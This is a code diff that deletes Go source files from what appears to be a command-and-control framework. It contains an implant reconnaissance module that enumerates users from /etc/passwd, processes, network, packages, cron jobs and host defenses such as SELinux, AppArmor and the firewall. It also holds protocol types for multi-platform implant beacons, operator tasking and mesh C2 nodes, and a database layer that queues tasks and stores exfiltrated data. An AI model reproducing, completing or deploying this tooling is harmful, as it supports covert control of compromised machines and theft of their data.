Timestamp string `json:"timestamp"`
|
||||
Hostname string `json:"hostname"`
|
||||
FQDN string `json:"fqdn"`
|
||||
OS map[string]string `json:"os"`
|
||||
Kernel string `json:"kernel"`
|
||||
BootTime string `json:"boot_time"`
|
||||
Users []userInfo `json:"users"`
|
||||
Processes []procInfo `json:"processes"`
|
||||
Network networkInfo `json:"network"`
|
||||
Hardware hardwareInfo `json:"hardware"`
|
||||
Software softwareInfo `json:"software"`
|
||||
Defenses defenseInfo `json:"defenses"`
|
||||
}
|
||||
|
||||
type userInfo struct {
|
||||
Username string `json:"username"`
|
||||
UID int `json:"uid"`
|
||||
GID int `json:"gid"`
|
||||
Home string `json:"home"`
|
||||
Shell string `json:"shell"`
|
||||
Groups []string `json:"groups,omitempty"`
|
||||
}
|
||||
|
||||
type procInfo struct {
|
||||
PID int `json:"pid"`
|
||||
Name string `json:"name"`
|
||||
User string `json:"user,omitempty"`
|
||||
CPU string `json:"cpu_percent,omitempty"`
|
||||
Memory string `json:"memory_percent,omitempty"`
|
||||
Cmdline string `json:"cmdline,omitempty"`
|
||||
}
|
||||
|
||||
type networkInfo struct {
|
||||
Interfaces []ifaceInfo `json:"interfaces"`
|
||||
Connections []connInfo `json:"connections"`
|
||||
Routing []routeInfo `json:"routing"`
|
||||
DNS []string `json:"dns"`
|
||||
ARP []string `json:"arp"`
|
||||
}
|
||||
|
||||
type ifaceInfo struct {
|
||||
Name string `json:"name"`
|
||||
Addresses []string `json:"addresses"`
|
||||
MAC string `json:"mac,omitempty"`
|
||||
}
|
||||
|
||||
type connInfo struct {
|
||||
FD int `json:"fd,omitempty"`
|
||||
Local string `json:"local"`
|
||||
Remote string `json:"remote"`
|
||||
Status string `json:"status"`
|
||||
PID int `json:"pid,omitempty"`
|
||||
}
|
||||
|
||||
type routeInfo struct {
|
||||
Interface string `json:"interface"`
|
||||
Gateway string `json:"gateway,omitempty"`
|
||||
Dest string `json:"destination,omitempty"`
|
||||
}
|
||||
|
||||
type hardwareInfo struct {
|
||||
CPU cpuInfo `json:"cpu"`
|
||||
Memory memoryInfo `json:"memory"`
|
||||
Disks []diskInfo `json:"disks"`
|
||||
}
|
||||
|
||||
type cpuInfo struct {
|
||||
Cores int `json:"cores"`
|
||||
Threads int `json:"threads"`
|
||||
Model string `json:"model"`
|
||||
}
|
||||
|
||||
type memoryInfo struct {
|
||||
Total uint64 `json:"total"`
|
||||
Available uint64 `json:"available"`
|
||||
Percent float64 `json:"percent"`
|
||||
}
|
||||
|
||||
type diskInfo struct {
|
||||
Device string `json:"device"`
|
||||
Mountpoint string `json:"mountpoint"`
|
||||
Fstype string `json:"fstype"`
|
||||
Total uint64 `json:"total"`
|
||||
Used uint64 `json:"used"`
|
||||
Free uint64 `json:"free"`
|
||||
Percent string `json:"percent"`
|
||||
}
|
||||
|
||||
type softwareInfo struct {
|
||||
Packages []string `json:"packages"`
|
||||
Services []string `json:"services"`
|
||||
Cron []string `json:"cron"`
|
||||
}
|
||||
|
||||
type defenseInfo struct {
|
||||
SELinux bool `json:"selinux"`
|
||||
AppArmor bool `json:"apparmor"`
|
||||
Firewall bool `json:"firewall"`
|
||||
IDS []string `json:"ids"`
|
||||
Antivirus []string `json:"antivirus"`
|
||||
}
|
||||
|
||||
func (s *SysRecon) gatherSystemInfo() *sysInfo {
|
||||
hostname, _ := os.Hostname()
|
||||
return &sysInfo{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Hostname: hostname,
|
||||
FQDN: getFQDN(),
|
||||
OS: map[string]string{
|
||||
"system": runtime.GOOS,
|
||||
"arch": runtime.GOARCH,
|
||||
"goVersion": runtime.Version(),
|
||||
},
|
||||
Kernel: getKernelVersion(),
|
||||
BootTime: getBootTime(),
|
||||
Users: getUsers(),
|
||||
Processes: getProcesses(),
|
||||
Network: getNetworkInfo(),
|
||||
Hardware: getHardwareInfo(),
|
||||
Software: getSoftwareInfo(),
|
||||
Defenses: getDefenseInfo(),
|
||||
}
|
||||
}
|
||||
|
||||
func getFQDN() string {
|
||||
out, err := exec.Command("hostname", "-f").Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func getKernelVersion() string {
|
||||
data, err := os.ReadFile("/proc/sys/kernel/ostype")
|
||||
if err != nil {
|
||||
out, err := exec.Command("uname", "-a").Output()
|
||||
if err != nil {
|
||||
return runtime.GOOS
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func getBootTime() string {
|
||||
data, err := os.ReadFile("/proc/stat")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.HasPrefix(line, "btime ") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) == 2 {
|
||||
sec, err := strconv.ParseInt(parts[1], 10, 64)
|
||||
if err == nil {
|
||||
return time.Unix(sec, 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getUsers() []userInfo {
|
||||
var users []userInfo
|
||||
data, err := os.ReadFile("/etc/passwd")
|
||||
if err != nil {
|
||||
return users
|
||||
}
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) >= 7 {
|
||||
uid, _ := strconv.Atoi(parts[2])
|
||||
gid, _ := strconv.Atoi(parts[3])
|
||||
users = append(users, userInfo{
|
||||
Username: parts[0],
|
||||
UID: uid,
|
||||
GID: gid,
|
||||
Home: parts[5],
|
||||
Shell: parts[6],
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(users) > 50 {
|
||||
users = users[:50]
|
||||
}
|
||||
return users
|
||||
}
|
||||
|
||||
func getProcesses() []procInfo {
|
||||
var procs []procInfo
|
||||
data, err := os.ReadFile("/proc")
|
||||
if err != nil {
|
||||
return procs
|
||||
}
|
||||
_ = data
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return procs
|
||||
}
|
||||
count := 0
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(e.Name())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
cmdline, _ := os.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
|
||||
name := fmt.Sprintf("pid_%d", pid)
|
||||
if len(cmdline) > 0 {
|
||||
name = strings.ReplaceAll(string(cmdline), "\x00", " ")
|
||||
}
|
||||
procs = append(procs, procInfo{
|
||||
PID: pid,
|
||||
Name: filepath.Base(name),
|
||||
Cmdline: name,
|
||||
})
|
||||
count++
|
||||
if count >= 100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return procs
|
||||
}
|
||||
|
||||
func getNetworkInfo() networkInfo {
|
||||
net := networkInfo{}
|
||||
// Interfaces via /proc/net/dev
|
||||
data, err := os.ReadFile("/proc/net/dev")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if !strings.Contains(line, ":") {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
iface := strings.TrimSpace(parts[0])
|
||||
net.Interfaces = append(net.Interfaces, ifaceInfo{
|
||||
Name: iface,
|
||||
Addresses: getInterfaceIPs(iface),
|
||||
})
|
||||
}
|
||||
}
|
||||
// DNS
|
||||
dnsData, err := os.ReadFile("/etc/resolv.conf")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(dnsData))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line != "" && !strings.HasPrefix(line, "#") {
|
||||
net.DNS = append(net.DNS, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
// ARP
|
||||
arpData, err := os.ReadFile("/proc/net/arp")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(arpData))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if !strings.HasPrefix(line, "IP") && line != "" {
|
||||
net.ARP = append(net.ARP, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
return net
|
||||
}
|
||||
|
||||
func getInterfaceIPs(name string) []string {
|
||||
var addrs []string
|
||||
data, err := os.ReadFile(fmt.Sprintf("/sys/class/net/%s/address", name))
|
||||
if err == nil {
|
||||
addrs = append(addrs, "mac:"+strings.TrimSpace(string(data)))
|
||||
}
|
||||
out, err := exec.Command("ip", "-o", "-4", "addr", "show", name).Output()
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
fields := strings.Fields(line)
|
||||
for i, f := range fields {
|
||||
if f == "inet" && i+1 < len(fields) {
|
||||
addrs = append(addrs, fields[i+1])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return addrs
|
||||
}
|
||||
|
||||
func getHardwareInfo() hardwareInfo {
|
||||
h := hardwareInfo{}
|
||||
h.CPU.Cores = runtime.NumCPU()
|
||||
h.CPU.Threads = runtime.NumCPU()
|
||||
// CPU model
|
||||
cpuData, err := os.ReadFile("/proc/cpuinfo")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(cpuData))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.HasPrefix(line, "model name") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
h.CPU.Model = strings.TrimSpace(parts[1])
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Memory
|
||||
memData, err := os.ReadFile("/proc/meminfo")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(memData))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 2 {
|
||||
val, _ := strconv.ParseUint(parts[1], 10, 64)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "MemTotal:"):
|
||||
h.Memory.Total = val * 1024
|
||||
case strings.HasPrefix(line, "MemAvailable:"):
|
||||
h.Memory.Available = val * 1024
|
||||
}
|
||||
}
|
||||
}
|
||||
if h.Memory.Total > 0 {
|
||||
h.Memory.Percent = 100.0 * float64(h.Memory.Total-h.Memory.Available) / float64(h.Memory.Total)
|
||||
}
|
||||
}
|
||||
// Disks
|
||||
h.Disks = getDiskInfo()
|
||||
return h
|
||||
}
|
||||
|
||||
func getDiskInfo() []diskInfo {
|
||||
var disks []diskInfo
|
||||
data, err := os.ReadFile("/proc/mounts")
|
||||
if err != nil {
|
||||
return disks
|
||||
}
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
// Only physical filesystems
|
||||
if strings.HasPrefix(parts[0], "/dev/") {
|
||||
var stat syscall.Statfs_t
|
||||
err := syscall.Statfs(parts[1], &stat)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
total := stat.Blocks * uint64(stat.Bsize)
|
||||
free := stat.Bfree * uint64(stat.Bsize)
|
||||
used := total - free
|
||||
percent := "0%"
|
||||
if total > 0 {
|
||||
percent = fmt.Sprintf("%.1f%%", 100.0*float64(used)/float64(total))
|
||||
}
|
||||
disks = append(disks, diskInfo{
|
||||
Device: parts[0],
|
||||
Mountpoint: parts[1],
|
||||
Fstype: parts[2],
|
||||
Total: total,
|
||||
Used: used,
|
||||
Free: free,
|
||||
Percent: percent,
|
||||
})
|
||||
}
|
||||
}
|
||||
return disks
|
||||
}
|
||||
|
||||
func getSoftwareInfo() softwareInfo {
|
||||
sw := softwareInfo{}
|
||||
// Packages (dpkg)
|
||||
if _, err := os.Stat("/etc/debian_version"); err == nil {
|
||||
out, err := exec.Command("dpkg", "-l").Output()
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.HasPrefix(line, "ii") {
|
||||
sw.Packages = append(sw.Packages, line)
|
||||
}
|
||||
}
|
||||
if len(sw.Packages) > 50 {
|
||||
sw.Packages = sw.Packages[:50]
|
||||
}
|
||||
}
|
||||
}
|
||||
// Cron
|
||||
out, err := exec.Command("crontab", "-l").Output()
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
sw.Cron = append(sw.Cron, scanner.Text())
|
||||
}
|
||||
}
|
||||
// Running services (systemd)
|
||||
svcOut, err := exec.Command("systemctl", "list-units", "--type=service", "--state=running", "--no-pager").Output()
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(svcOut))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if strings.HasSuffix(line, ".service") {
|
||||
sw.Services = append(sw.Services, line)
|
||||
}
|
||||
}
|
||||
if len(sw.Services) > 50 {
|
||||
sw.Services = sw.Services[:50]
|
||||
}
|
||||
}
|
||||
return sw
|
||||
}
|
||||
|
||||
func getDefenseInfo() defenseInfo {
|
||||
d := defenseInfo{}
|
||||
// SELinux
|
||||
if _, err := os.Stat("/usr/sbin/sestatus"); err == nil {
|
||||
out, err := exec.Command("sestatus").Output()
|
||||
if err == nil {
|
||||
d.SELinux = strings.Contains(strings.ToLower(string(out)), "enabled")
|
||||
}
|
||||
}
|
||||
// AppArmor
|
||||
if _, err := os.Stat("/sys/module/apparmor/parameters/enabled"); err == nil {
|
||||
data, err := os.ReadFile("/sys/module/apparmor/parameters/enabled")
|
||||
if err == nil {
|
||||
d.AppArmor = strings.TrimSpace(string(data)) == "Y"
|
||||
}
|
||||
}
|
||||
// Firewall
|
||||
out, err := exec.Command("iptables", "-L", "-n").Output()
|
||||
if err == nil {
|
||||
d.Firewall = strings.Contains(string(out), "Chain INPUT")
|
||||
}
|
||||
return d
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
// Package protocol defines shared types between C2 server and implants.
|
||||
package protocol
|
||||
|
||||
import "time"
|
||||
|
||||
// ImplantType identifies which platform the implant runs on.
|
||||
type ImplantType string
|
||||
|
||||
const (
|
||||
ImplantWindows ImplantType = "windows"
|
||||
ImplantLinux ImplantType = "linux"
|
||||
ImplantMacOS ImplantType = "darwin"
|
||||
ImplantAndroid ImplantType = "android"
|
||||
ImplantIOS ImplantType = "ios"
|
||||
)
|
||||
|
||||
// BeaconPayload is sent by the implant on each check-in.
|
||||
type BeaconPayload struct {
|
||||
ID string `json:"id"`
|
||||
Type ImplantType `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Timestamp int64 `json:"ts"`
|
||||
Jitter float64 `json:"jitter"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
PeerAddr string `json:"peer_addr,omitempty"`
|
||||
}
|
||||
|
||||
// Task is a command issued by the operator/C2 to the implant.
|
||||
type Task struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
Payload map[string]any `json:"payload"`
|
||||
Timestamp int64 `json:"ts"`
|
||||
TTL int `json:"ttl,omitempty"` // seconds
|
||||
}
|
||||
|
||||
// TaskResult is the implant's response to a task.
|
||||
type TaskResult struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Timestamp int64 `json:"ts"`
|
||||
}
|
||||
|
||||
// ImplantRecord stored in DB.
|
||||
type ImplantRecord struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
TargetProc string `json:"target_proc"`
|
||||
Hostname string `json:"hostname"`
|
||||
Arch string `json:"arch"`
|
||||
FirstSeen time.Time `json:"first_seen"`
|
||||
LastSeen time.Time `json:"last_seen"`
|
||||
BeaconCount int `json:"beacon_count"`
|
||||
TasksSent int `json:"tasks_sent"`
|
||||
TasksDone int `json:"tasks_done"`
|
||||
JitterScore float64 `json:"jitter_score"`
|
||||
DNSEnabled bool `json:"dns_enabled"`
|
||||
MeshEnabled bool `json:"mesh_enabled"`
|
||||
Flagged bool `json:"flagged"`
|
||||
NodeID string `json:"node_id,omitempty"` // which C2 node owns it
|
||||
}
|
||||
|
||||
// MeshNode represents a peer C2 node in the mesh.
|
||||
type MeshNode struct {
|
||||
ID string `json:"id"`
|
||||
Addr string `json:"addr"`
|
||||
PublicKey []byte `json:"pubkey"`
|
||||
LastSeen time.Time `json:"last_seen"`
|
||||
Implants int `json:"implants"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
// MeshHeartbeat is exchanged between mesh peers.
|
||||
type MeshHeartbeat struct {
|
||||
NodeID string `json:"node_id"`
|
||||
Addr string `json:"addr"`
|
||||
Implants []string `json:"implant_ids"`
|
||||
Timestamp int64 `json:"ts"`
|
||||
Signature []byte `json:"sig"`
|
||||
}
|
||||
|
||||
// APIConfig is returned to authenticated operators.
|
||||
type APIConfig struct {
|
||||
Version string `json:"version"`
|
||||
C2ID string `json:"c2_id"`
|
||||
Implants int `json:"implants"`
|
||||
Peers int `json:"peers"`
|
||||
Uptime string `json:"uptime"`
|
||||
}
|
||||
@@ -1,313 +0,0 @@
|
||||
// Package store provides the database abstraction layer.
|
||||
package store
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/saviorSEC/ranger/internal/protocol"
|
||||
)
|
||||
|
||||
// Store wraps the SQLite database.
|
||||
type Store struct {
|
||||
db *sql.DB
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
// New opens or creates the SQLite database.
|
||||
func New(path string) (*Store, error) {
|
||||
db, err := sql.Open("sqlite3", path+"?_journal_mode=WAL&_busy_timeout=5000")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open db: %w", err)
|
||||
}
|
||||
s := &Store{db: db}
|
||||
if err := s.migrate(); err != nil {
|
||||
return nil, fmt.Errorf("migrate: %w", err)
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
func (s *Store) migrate() error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
tx, err := s.db.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
stmts := []string{
|
||||
`CREATE TABLE IF NOT EXISTS implants (
|
||||
id TEXT PRIMARY KEY,
|
||||
impl_type TEXT NOT NULL DEFAULT 'windows',
|
||||
target_proc TEXT,
|
||||
hostname TEXT,
|
||||
arch TEXT,
|
||||
first_seen DATETIME NOT NULL,
|
||||
last_seen DATETIME NOT NULL,
|
||||
beacon_count INTEGER DEFAULT 0,
|
||||
tasks_sent INTEGER DEFAULT 0,
|
||||
tasks_done INTEGER DEFAULT 0,
|
||||
jitter_score REAL DEFAULT 1.0,
|
||||
dns_enabled INTEGER DEFAULT 0,
|
||||
mesh_enabled INTEGER DEFAULT 0,
|
||||
flagged INTEGER DEFAULT 0,
|
||||
node_id TEXT,
|
||||
metadata TEXT
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
implant_id TEXT NOT NULL,
|
||||
task_type TEXT NOT NULL,
|
||||
payload TEXT,
|
||||
created_at DATETIME NOT NULL,
|
||||
executed_at DATETIME,
|
||||
result TEXT,
|
||||
status TEXT DEFAULT 'pending',
|
||||
channel TEXT DEFAULT 'primary',
|
||||
FOREIGN KEY(implant_id) REFERENCES implants(id)
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS mesh_nodes (
|
||||
id TEXT PRIMARY KEY,
|
||||
addr TEXT NOT NULL,
|
||||
pubkey BLOB,
|
||||
last_seen DATETIME NOT NULL,
|
||||
implant_count INTEGER DEFAULT 0,
|
||||
version TEXT
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS exfil_data (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
implant_id TEXT NOT NULL,
|
||||
data_type TEXT,
|
||||
data BLOB,
|
||||
channel TEXT DEFAULT 'primary',
|
||||
received_at DATETIME NOT NULL,
|
||||
FOREIGN KEY(implant_id) REFERENCES implants(id)
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS operators (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
username TEXT UNIQUE NOT NULL,
|
||||
password_hash TEXT NOT NULL,
|
||||
role TEXT DEFAULT 'operator',
|
||||
created_at DATETIME NOT NULL
|
||||
)`,
|
||||
}
|
||||
for _, stmt := range stmts {
|
||||
if _, err := tx.Exec(stmt); err != nil {
|
||||
return fmt.Errorf("stmt %q: %w", stmt[:60], err)
|
||||
}
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// Close closes the database.
|
||||
func (s *Store) Close() error {
|
||||
return s.db.Close()
|
||||
}
|
||||
|
||||
// UpsertImplant creates or updates an implant record.
|
||||
func (s *Store) UpsertImplant(ir *protocol.ImplantRecord) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
now := time.Now().UTC()
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO implants (id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, jitter_score, dns_enabled, mesh_enabled, flagged, node_id)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
beacon_count = beacon_count + 1,
|
||||
target_proc = COALESCE(excluded.target_proc, target_proc),
|
||||
hostname = COALESCE(excluded.hostname, hostname),
|
||||
jitter_score = excluded.jitter_score,
|
||||
dns_enabled = excluded.dns_enabled,
|
||||
mesh_enabled = excluded.mesh_enabled,
|
||||
node_id = COALESCE(excluded.node_id, node_id)
|
||||
`, ir.ID, ir.Type, ir.TargetProc, ir.Hostname, ir.Arch, now, now,
|
||||
ir.JitterScore, boolToInt(ir.DNSEnabled), boolToInt(ir.MeshEnabled),
|
||||
boolToInt(ir.Flagged), ir.NodeID)
|
||||
return err
|
||||
}
|
||||
|
||||
// GetImplant retrieves a single implant.
|
||||
func (s *Store) GetImplant(id string) (*protocol.ImplantRecord, error) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
row := s.db.QueryRow(`SELECT id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, tasks_sent, tasks_done, jitter_score, dns_enabled, mesh_enabled, flagged, node_id FROM implants WHERE id = ?`, id)
|
||||
ir := &protocol.ImplantRecord{}
|
||||
var dnsEn, meshEn, flagged int
|
||||
err := row.Scan(&ir.ID, &ir.Type, &ir.TargetProc, &ir.Hostname, &ir.Arch, &ir.FirstSeen, &ir.LastSeen, &ir.BeaconCount, &ir.TasksSent, &ir.TasksDone, &ir.JitterScore, &dnsEn, &meshEn, &flagged, &ir.NodeID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ir.DNSEnabled = dnsEn == 1
|
||||
ir.MeshEnabled = meshEn == 1
|
||||
ir.Flagged = flagged == 1
|
||||
return ir, nil
|
||||
}
|
||||
|
||||
// ListImplants returns all implant records.
|
||||
func (s *Store) ListImplants() ([]protocol.ImplantRecord, error) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
rows, err := s.db.Query(`SELECT id, impl_type, target_proc, hostname, arch, first_seen, last_seen, beacon_count, tasks_sent, tasks_done, jitter_score, dns_enabled, mesh_enabled, flagged, node_id FROM implants ORDER BY last_seen DESC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []protocol.ImplantRecord
|
||||
for rows.Next() {
|
||||
var ir protocol.ImplantRecord
|
||||
var dnsEn, meshEn, flagged int
|
||||
if err := rows.Scan(&ir.ID, &ir.Type, &ir.TargetProc, &ir.Hostname, &ir.Arch, &ir.FirstSeen, &ir.LastSeen, &ir.BeaconCount, &ir.TasksSent, &ir.TasksDone, &ir.JitterScore, &dnsEn, &meshEn, &flagged, &ir.NodeID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ir.DNSEnabled = dnsEn == 1
|
||||
ir.MeshEnabled = meshEn == 1
|
||||
ir.Flagged = flagged == 1
|
||||
out = append(out, ir)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ImplantCount returns the total number of implants.
|
||||
func (s *Store) ImplantCount() (int, error) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
var n int
|
||||
err := s.db.QueryRow(`SELECT COUNT(*) FROM implants`).Scan(&n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// CreateTask inserts a new task.
|
||||
func (s *Store) CreateTask(implantID, taskType, channel string, payload map[string]any) (*protocol.Task, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
task := &protocol.Task{
|
||||
ID: fmt.Sprintf("T%d", time.Now().UnixNano()),
|
||||
Type: taskType,
|
||||
Payload: payload,
|
||||
Timestamp: time.Now().Unix(),
|
||||
TTL: 3600,
|
||||
}
|
||||
payloadJSON, _ := json.Marshal(payload)
|
||||
_, err := s.db.Exec(`INSERT INTO tasks (id, implant_id, task_type, payload, created_at, status, channel) VALUES (?, ?, ?, ?, ?, 'pending', ?)`,
|
||||
task.ID, implantID, taskType, string(payloadJSON), time.Now().UTC(), channel)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.db.Exec(`UPDATE implants SET tasks_sent = tasks_sent + 1 WHERE id = ?`, implantID)
|
||||
return task, nil
|
||||
}
|
||||
|
||||
// PendingTasks returns all pending tasks for an implant, marking them "delivered".
|
||||
func (s *Store) PendingTasks(implantID string) ([]protocol.Task, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
rows, err := s.db.Query(`SELECT id, task_type, payload, created_at, channel FROM tasks WHERE implant_id = ? AND status = 'pending'`, implantID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var tasks []protocol.Task
|
||||
for rows.Next() {
|
||||
var t protocol.Task
|
||||
var payloadStr, channel string
|
||||
var createdAt time.Time
|
||||
if err := rows.Scan(&t.ID, &t.Type, &payloadStr, &createdAt, &channel); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
json.Unmarshal([]byte(payloadStr), &t.Payload)
|
||||
t.Timestamp = createdAt.Unix()
|
||||
tasks = append(tasks, t)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Mark as delivered
|
||||
for _, t := range tasks {
|
||||
s.db.Exec(`UPDATE tasks SET status = 'delivered' WHERE id = ?`, t.ID)
|
||||
}
|
||||
return tasks, nil
|
||||
}
|
||||
|
||||
// CompleteTask marks a task as completed with the result.
|
||||
func (s *Store) CompleteTask(taskID string, result *protocol.TaskResult) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
resultJSON, _ := json.Marshal(result)
|
||||
_, err := s.db.Exec(`UPDATE tasks SET status = 'completed', result = ?, executed_at = ? WHERE id = ?`,
|
||||
string(resultJSON), time.Now().UTC(), taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.db.Exec(`UPDATE implants SET tasks_done = tasks_done + 1 WHERE id = (SELECT implant_id FROM tasks WHERE id = ?)`, taskID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExfilData stores exfiltrated data.
|
||||
func (s *Store) ExfilData(implantID, dataType, channel string, data []byte) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
_, err := s.db.Exec(`INSERT INTO exfil_data (implant_id, data_type, data, channel, received_at) VALUES (?, ?, ?, ?, ?)`,
|
||||
implantID, dataType, data, channel, time.Now().UTC())
|
||||
return err
|
||||
}
|
||||
|
||||
// UpsertMeshNode creates or updates a mesh peer.
|
||||
func (s *Store) UpsertMeshNode(node *protocol.MeshNode) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO mesh_nodes (id, addr, pubkey, last_seen, implant_count, version)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
addr = excluded.addr,
|
||||
last_seen = excluded.last_seen,
|
||||
implant_count = excluded.implant_count,
|
||||
version = excluded.version
|
||||
`, node.ID, node.Addr, node.PublicKey, time.Now().UTC(), node.Implants, node.Version)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListMeshNodes returns all known mesh peers.
|
||||
func (s *Store) ListMeshNodes() ([]protocol.MeshNode, error) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
